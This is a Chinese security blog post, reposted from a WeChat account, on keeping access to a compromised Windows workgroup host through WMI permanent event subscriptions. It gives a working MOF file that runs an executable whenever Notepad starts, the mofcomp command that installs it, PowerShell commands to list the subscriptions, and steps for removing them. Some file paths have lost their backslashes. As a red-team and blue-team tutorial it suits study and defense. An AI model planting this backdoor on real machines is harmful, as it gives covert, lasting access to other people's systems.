工作组权限维持

admin 2024年6月11日14:02:29评论3 views字数 3160阅读10分32秒阅读模式

免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

工作组权限维持

      在我们拿到工作组某台成员主机的账号密码后,为了防止密码被改,需要使用隐蔽后门等手段来维持我们取得的域控权限。将二进制文件放在Windows启动项目录中是最简单的方式,但是隐蔽性差,较主流的工作组权限维持通常有三种,本篇讲第一种Windows管理规范(WMI)。

WMI

     Windows管理规范(英语:Windows Management Instrumentation,缩写WMI)由一系列对Windows Driver Model的扩展组成,它通过仪器组件提供信息和通知,并提供了一个操作系统的接口。WMI是微软对分布式管理工作组(DMTF)的基于Web的企业管理类(WBEM)和通用信息模型(CIM)标准的实现。

      WMI预装在Windows 2000及更新的微软操作系统中,适用于Windows 95、Windows 98、Windows NT等操作系统,[1][2]并允许使用脚本语言(例如VBScript或Windows PowerShell)来本地或远程管理Microsoft Windows个人电脑和服务器。

     微软亦为WMI提供了一个称为“Windows Management Instrumentation Command-line”(WMIC)的命令行界面。

      WMI通过提供统一的模型来补充其他标准。该模型表示可以通过一种常用方式来访问受管环境的任何来源的管理数据。其规范目的是定义一系列独立于环境的专有规范,并允许管理信息在管理应用程序之间共享。此规范规定了企业管理标准以及现有的适用于Windows的相关技术,例如桌面管理接口(DMI)和简单网络管理协议(SNMP)。

       我们可以使用各种工具(如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口来访问WMI。Windows系统的WMI数据存储在WMI公共信息模型(common information model,CMI)仓库中,该仓库由System32wbemRepository文件夹中的多个文件组成。

      WMI类是WMI的主要结构,具有系统权限的用户还可以自定义类或扩展许多默认类的功能。在确足特定条件时,我们可以使用WMI永久事件订阅(permanent event subscription)机制来触发特定操作。攻击者经常利用该功能,让系统启动时自动执行后门程序,以达成进行权限维持的目标。

      WMI的事件订阅包含以下3个核心WMI类。

  • Consumer 类: 用来指定要执行的具体操作,包括执行命令、运行脚本、添加日志条目及发送邮件等。

  • Filter 类: 用来定义触发Consumer的具体条件,包括系统启动、特定程序执行、特定时间间隔及其他条件。

  • FilterpocongumerBinding 类:用来将Consumer与Filter关联在一起。创建一个WMI永久事件订阅时,需要系统的管理员权限。

      按照以上的思路,如果攻击者可以操作WMI永久事件订阅,除了在WMI仓库中留下的文件外,不会在系统磁盘上留下其他任何文件,这样的权限维持手段确实隐蔽。

      接下来,我们对WMI永久事件订阅后门进行测试,具体步骤如下。

1.攻击代码

#!vb
#PRAGMA NAMESPACE ("\\.\root\subscription")
instance of CommandLineEventConsumer as $Cons
{
   Name = "Powershell Helper";
   RunInteractively=false;
   CommandLineTemplate="cmd /C C:UsersAdministratorDesktopalice.exe";
};
instance of __EventFilter as $Filt
{
   Name = "EventFilter 2";
   EventNamespace = "Root\Cimv2";
   Query ="SELECT * FROM __InstanceCreationEvent Within 3"
           "Where TargetInstance Isa "Win32_Process" "
           "And Targetinstance.Name = "notepad.exe" ";
   QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
    Filter = $Filt;
    Consumer = $Cons;
};

          将以上内容保存为test.mof,

          Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件。

  • 方法 1:使用Mofcomp.exe。

  • 方法 2:使用 IMofCompiler 接口和$ CompileFile方法。

  • 方法 3:拖放到%SystemRoot%System32WbemMOF文件夹的 MOF 文件。

          第一种方法通用性强,第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,如在Windows XP/2003操作系统下,系统会自动编译执行此脚本但需管理员权限。

          这里以第一种方法做示范,使用 mofcomp.exe 编译MOF文件:

          mofcomp.exe test.mof

编译MOF文件,执行效果如下图。

工作组权限维持

          执行MOF文件后,就可以查看我们添加的各类WMI事件,具体操作如下。

2.查看条件

          列出Filter事件,相关命令如下:

          Get-WMIObject -Namespace rootSubscription -Class __EventFilter

列出Filter事件,执行效果如下图。

工作组权限维持

3.查看操作

          查看Consumers事件,相关命令如下:

          Get-WMIObject -Namespace rootSubscription -Class __EventConsumer

查看Consumers事件,执行效果如下图。

工作组权限维持

4.查看订阅

          查看Bindings事件,相关命令如下:

          Get-WMIObject -Namespace rootSubscription -class __FilterToConsumerBinding

查看Bindings事件,执行效果如下图。

工作组权限维持

5.触发订阅

触发后门。当被攻击者打开“记事本”程序(Notepad)时,系统就会执行cmd命令,向C盘的alice.txt文本文件中写人alice字符串,查看触发订阅,执行效果,如下图。

工作组权限维持

6.修复/清除

          当红方渗透任务完成,进行痕迹清理,或者作为蓝方及时下线主机,进行修复/清除后门。这时需要重建repository文件夹下所有文件,具体步骤如下:

          1.停止 WMI 服务, net stop winmgmt

          2.删除repository文件夹下所有文件, %windir%system32wbemrepository

          3.启动 WMI 服务,  net start winmgmt 等一段时间WMI命名空间会自动重建完成

修复命令,执行效果,如下图。

工作组权限维持

                若有侵权请联系作者删除

原文始发于微信公众号(安遇Sec):工作组权限维持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日14:02:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   工作组权限维持https://cn-sec.com/archives/2837084.html

发表评论

匿名网友 填写信息